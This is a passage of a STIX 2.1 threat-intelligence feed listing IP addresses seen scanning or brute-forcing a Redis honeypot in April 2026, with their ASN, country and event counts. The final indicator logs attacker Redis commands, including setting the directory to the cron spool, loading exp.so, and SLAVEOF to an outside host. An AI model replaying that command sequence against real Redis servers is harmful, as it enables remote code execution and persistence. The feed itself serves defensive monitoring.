      "valid_from": "2026-04-12T14:25:10.000Z",
      "valid_until": "2026-05-14T14:25:09.000Z"
    },
    {
      "created": "2026-04-12T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=8560; asn_org=IONOS SE; redis_cmd_hits=0",
      "id": "indicator--a66044e0-4347-4a1c-bb3c-dbddd465d0c5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-12T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '213.171.194.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T14:25:10.000Z",
      "valid_until": "2026-05-14T14:25:09.000Z"
    },
    {
      "created": "2026-04-12T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4811; asn_org=China Telecom Group; redis_cmd_hits=0",
      "id": "indicator--5bf1402a-bd71-42ff-a830-dfe3cdef25ab",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-12T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '14.103.198.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T15:25:10.000Z",
      "valid_until": "2026-05-14T15:25:09.000Z"
    },
    {
      "created": "2026-04-12T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=AU; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--7947835f-63ec-4c16-8a92-811d91b23fc0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-12T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.70.200.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T16:25:10.000Z",
      "valid_until": "2026-05-14T16:25:09.000Z"
    },
    {
      "created": "2026-04-12T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=ZA; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--b0520bab-3162-47d9-bc95-d62806bffa54",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-12T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.87.195.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T16:25:10.000Z",
      "valid_until": "2026-05-14T16:25:09.000Z"
    },
    {
      "created": "2026-04-12T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--e5c1bfc3-6266-42b6-952d-1006eecc9bd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T21:25:10.000Z",
      "valid_until": "2026-05-14T21:25:09.000Z"
    },
    {
      "created": "2026-04-12T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=20473; asn_org=The Constant Company, LLC; redis_cmd_hits=0",
      "id": "indicator--bec1254f-4dea-4652-b4ba-1e61492d671a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.76.236.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T21:25:10.000Z",
      "valid_until": "2026-05-14T21:25:09.000Z"
    },
    {
      "created": "2026-04-12T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--5abdb8f6-66f2-4ca7-8d1f-a6c0ae7590a6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-12T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '81.69.43.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T21:25:10.000Z",
      "valid_until": "2026-05-14T21:25:09.000Z"
    },
    {
      "created": "2026-04-12T22:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=NL; asn=20857; asn_org=Signet B.V.; redis_cmd_hits=0",
      "id": "indicator--3f4af958-738d-4f6d-ba88-34a80923019d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-12T22:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '136.144.253.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T22:25:03.000Z",
      "valid_until": "2026-05-14T22:25:01.000Z"
    },
    {
      "created": "2026-04-12T22:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--835d8321-4a92-4944-a74b-7ec349bf418b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T22:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T22:25:03.000Z",
      "valid_until": "2026-05-14T22:25:01.000Z"
    },
    {
      "created": "2026-04-12T22:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--8d974e63-f1fe-4fd5-b3fa-7eaaea32ff0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T22:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T22:25:03.000Z",
      "valid_until": "2026-05-14T22:25:01.000Z"
    },
    {
      "created": "2026-04-12T22:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; redis_cmd_hits=0",
      "id": "indicator--40b0e6ad-060b-4d0b-8532-a43648859ec8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-12T22:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T22:25:03.000Z",
      "valid_until": "2026-05-14T22:25:01.000Z"
    },
    {
      "created": "2026-04-13T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--59ef20c3-0333-4a67-9a48-1f28fbb2c3d7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-13T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.190.15.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:25:10.000Z",
      "valid_until": "2026-05-15T02:25:09.000Z"
    },
    {
      "created": "2026-04-13T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=CA; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--40524246-6b10-40b3-bb91-7387a9a8513e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '130.107.183.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:25:10.000Z",
      "valid_until": "2026-05-15T03:25:09.000Z"
    },
    {
      "created": "2026-04-13T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--d6b1f5be-649c-4447-bd50-0972e9e48cfe",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-13T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '137.184.101.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T03:25:10.000Z",
      "valid_until": "2026-05-15T03:25:09.000Z"
    },
    {
      "created": "2026-04-13T04:25:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--daa90a25-56da-4a25-bf83-596cd0381f52",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-13T04:25:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:25:17.000Z",
      "valid_until": "2026-05-15T04:25:04.000Z"
    },
    {
      "created": "2026-04-13T04:25:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=RU; asn=3216; asn_org=PVimpelCom; redis_cmd_hits=0",
      "id": "indicator--437b0d1a-b682-4df4-bfa3-2a7595e7243c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-13T04:25:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.186.66.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:25:17.000Z",
      "valid_until": "2026-05-15T04:25:04.000Z"
    },
    {
      "created": "2026-04-13T04:25:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=102; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0; cmd=\"SSH-2.0-Go  \"",
      "id": "indicator--5ea5a271-9e38-4f11-993f-d7263f528e0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T04:25:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.134.216.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:25:17.000Z",
      "valid_until": "2026-05-15T04:25:04.000Z"
    },
    {
      "created": "2026-04-13T04:25:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--c10a328d-eecb-4aaa-a483-b12d59f947ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T04:25:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '51.8.231.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:25:17.000Z",
      "valid_until": "2026-05-15T04:25:04.000Z"
    },
    {
      "created": "2026-04-13T08:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=47; ports=6379; cc=US; asn=154177; asn_org=LIGHT NODE LIMITED; redis_cmd_hits=0",
      "id": "indicator--861fbd0b-3e6c-432f-9e79-af0eb12567ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T08:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '130.94.115.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:25:05.000Z",
      "valid_until": "2026-05-15T08:25:04.000Z"
    },
    {
      "created": "2026-04-13T08:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=AU; asn=7545; asn_org=TPG Telecom Limited; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--c79667fd-cc90-475c-a7da-309e832e7044",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-13T08:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '61.69.149.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T08:25:05.000Z",
      "valid_until": "2026-05-15T08:25:04.000Z"
    },
    {
      "created": "2026-04-13T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=AU; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--fd111d2c-7132-430e-88d0-19c97537128f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-13T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '134.199.160.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:25:10.000Z",
      "valid_until": "2026-05-15T09:25:09.000Z"
    },
    {
      "created": "2026-04-13T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=AU; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode,Misc activity; redis_cmd_hits=0",
      "id": "indicator--5934204b-0992-4836-b09f-050ef4872b53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '170.64.145.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:25:10.000Z",
      "valid_until": "2026-05-15T09:25:09.000Z"
    },
    {
      "created": "2026-04-13T12:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--0a03e6fb-f243-423e-9825-439dd6a26d1e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-13T12:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.93.255.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:25:12.000Z",
      "valid_until": "2026-05-15T12:25:10.000Z"
    },
    {
      "created": "2026-04-13T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=141679; asn_org=China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch; redis_cmd_hits=0",
      "id": "indicator--23ed022c-4dd5-4519-bd0b-9712f151d8a6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-13T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.72.13.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:25:10.000Z",
      "valid_until": "2026-05-15T14:25:09.000Z"
    },
    {
      "created": "2026-04-13T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--164e8045-ccc3-4acf-8fb4-877d9b4c069a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.174.236.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:25:10.000Z",
      "valid_until": "2026-05-15T14:25:09.000Z"
    },
    {
      "created": "2026-04-13T16:25:15.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--c7edd318-4bb9-4fe1-aec2-ada3d18515be",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-13T16:25:15.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.199.77.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:25:15.000Z",
      "valid_until": "2026-05-15T16:25:09.000Z"
    },
    {
      "created": "2026-04-13T16:25:15.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=IN; asn=141995; asn_org=Contabo Asia Private Limited; redis_cmd_hits=0",
      "id": "indicator--67a3df26-ab8e-4816-8ba5-f465818885dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T16:25:15.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '82.180.144.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T16:25:15.000Z",
      "valid_until": "2026-05-15T16:25:09.000Z"
    },
    {
      "created": "2026-04-13T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--3dc5a291-1e5c-4f24-b369-c3534a422583",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '220.248.173.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T19:25:10.000Z",
      "valid_until": "2026-05-15T19:25:09.000Z"
    },
    {
      "created": "2026-04-13T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--52fe56b4-1f4e-4aec-b4d7-bd090c4ffd24",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-13T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '98.89.204.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T19:25:10.000Z",
      "valid_until": "2026-05-15T19:25:09.000Z"
    },
    {
      "created": "2026-04-13T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--89640d6f-6b9c-42d9-a1fe-5318a4dc1018",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '159.65.176.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T20:25:10.000Z",
      "valid_until": "2026-05-15T20:25:09.000Z"
    },
    {
      "created": "2026-04-13T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--a499dae7-987e-4a69-9b13-7d1add57633d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T20:25:10.000Z",
      "valid_until": "2026-05-15T20:25:09.000Z"
    },
    {
      "created": "2026-04-14T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--666afad1-3e39-4236-b371-8d938585701c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.168.122.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T00:25:10.000Z",
      "valid_until": "2026-05-16T00:25:09.000Z"
    },
    {
      "created": "2026-04-14T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--56df5d6b-aaaf-4c7f-a80c-6cb110c3070e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '192.241.134.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:25:10.000Z",
      "valid_until": "2026-05-16T01:25:09.000Z"
    },
    {
      "created": "2026-04-14T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--62ba5038-744c-4a3c-92a5-3176117c8cc7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-14T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.15.232.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T02:25:10.000Z",
      "valid_until": "2026-05-16T02:25:09.000Z"
    },
    {
      "created": "2026-04-14T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--56e0890b-8570-4707-88b0-1708f46e40b2",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-14T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '106.52.223.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T03:25:10.000Z",
      "valid_until": "2026-05-16T03:25:09.000Z"
    },
    {
      "created": "2026-04-14T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=8560; asn_org=IONOS SE; redis_cmd_hits=0",
      "id": "indicator--49a8794e-f2b9-4d1d-a759-b2c8d4f4886c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.208.148.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T03:25:10.000Z",
      "valid_until": "2026-05-16T03:25:09.000Z"
    },
    {
      "created": "2026-04-14T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4808; asn_org=China Unicom Beijing Province Network; redis_cmd_hits=0",
      "id": "indicator--60500b06-0caf-48c0-bf82-1432a3eeb449",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '211.154.194.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T04:25:10.000Z",
      "valid_until": "2026-05-16T04:25:09.000Z"
    },
    {
      "created": "2026-04-14T06:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--edc05f00-7ea1-4146-955c-1d93f65eb68a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T06:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T06:25:05.000Z",
      "valid_until": "2026-05-16T06:25:04.000Z"
    },
    {
      "created": "2026-04-14T09:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=34; ports=6379; cc=US; asn=46606; asn_org=Unified Layer; redis_cmds=config set dir /var/spool/cron/,save,SLAVEOF NO ONE,CONFIG SET dbfilename exp.so,SLAVEOF 180.76.137.37 60135; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--31b6a4bc-61c0-45de-bffd-b88bcdb1fa50",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-04-14T09:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '162.240.163.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T09:25:05.000Z",
